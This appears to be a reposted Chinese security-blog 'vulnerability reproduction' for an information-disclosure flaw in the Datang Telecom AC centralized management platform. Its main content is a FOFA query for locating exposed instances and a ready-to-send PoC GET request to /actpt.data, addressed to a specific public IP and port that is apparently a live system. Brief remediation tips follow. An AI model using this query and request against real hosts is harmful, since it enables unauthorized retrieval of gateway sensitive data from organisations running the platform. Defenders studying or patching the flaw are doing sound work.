【漏洞复现】大唐电信AC集中管理平台信息泄露漏洞

大家可以把蚁剑安全实验室“设为星标”，这样就可以及时看到我们最新发布的“漏洞预警”及“漏洞复现”的安全内容啦！

免责声明：该文章仅用于技术讨论与学习。请勿利用文章所提供的相关技术从事非法测试，若利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关。

一、漏洞描述

大唐电信科技股份有限公司是电信科学技术研究院（大唐电信科技产业集团）控股的的高科技企业，大唐电信已形成集成电路设计、软件与应用、终端设计、移动互联网四大产业板块。大唐电信AC集中管理平台存在敏感信息泄露漏洞。攻击者可利用此漏洞获取终端管理平台控制的网关敏感信息。    

二、漏洞复现

1、fofa语法查找:app="大唐电信AC集中管理平台" && fid="gmqJFLGz7L/7TdQxUJFBXQ=="

2、使用POC进行复现

GET /actpt.data HTTP/1.1Host: 221.2.89.202:800User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Thu, 29 Mar 2018 17:15:47 GMT

3、修复建议

1、开启用户控制访问权限

2、对敏感信息进行模糊化处理

3、对当前系统版本进行升级

原文始发于微信公众号（蚁剑安全实验室）：【漏洞复现】大唐电信AC集中管理平台信息泄露漏洞